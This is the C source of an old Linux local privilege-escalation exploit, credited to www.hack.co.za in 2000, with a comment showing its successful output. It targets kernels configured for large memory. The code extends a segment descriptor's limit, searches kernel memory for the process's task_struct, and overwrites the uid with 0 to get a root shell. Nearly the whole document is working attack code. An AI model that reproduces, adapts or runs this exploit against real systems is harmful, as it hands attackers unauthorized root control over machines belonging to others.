/* The exploit (local root, can be extended to also reset securelevel; will only compile with libc 5, you'd have to rip task_struct out of for compiling with glibc): Its output, with CONFIG_MAX_MEMSIZE=1800 (the very first example given in linux/Documentation/more-than-900MB-RAM.txt): Searching for the descriptor... found at 0x8f9068ac Extending its limit... done Searching for task_struct... found at 0x9157d810 Patching the UID... done uid=0(root) gid=0(root) */ #define __KERNEL__ #include #undef __KERNEL__ #include #include #include #include #include void die1() { puts("\nFailed: probably not vulnerable"); exit(1); } void die2() { puts("\nVulnerable, but failed to exploit"); exit(1); } int main() { int *sp = (int *)&sp; int *d = sp; struct task_struct *task = (struct task_struct *)sp; int pid, uid; struct rlimit old, new; setbuf(stdout, NULL); printf("Searching for the descriptor... "); signal(SIGSEGV, die1); while ((d[0] & 0xFFF0FFFF) != 0x00C0FB00 && (d[2] & 0xFFF0FFFF) != 0x00C0F300) d++; signal(SIGSEGV, die2); printf("found at %p\nExtending its limit... ", d + 2); d[2] |= 0xF0000; printf("done\nSearching for task_struct... "); pid = getpid(); uid = getuid(); if (getrlimit(RLIMIT_FSIZE, &old)) { perror("getrlimit"); return 1; } search: new = old; new.rlim_cur--; if (setrlimit(RLIMIT_FSIZE, &new)) new.rlim_cur = old.rlim_cur; do { ((int *)task)++; } while (task->pid != pid || task->uid != uid); if (task->rlim[RLIMIT_FSIZE].rlim_cur != new.rlim_cur) goto search; if (setrlimit(RLIMIT_FSIZE, &old)) { perror("setrlimit"); return 1; } if (task->rlim[RLIMIT_FSIZE].rlim_cur != old.rlim_cur) goto search; printf("found at %p\nPatching the UID... ", task); task->uid = 0; setuid(0); setgid(0); setgroups(0, NULL); puts("done"); execl("/usr/bin/id", "id", NULL); return 1; } /* www.hack.co.za [2000]*/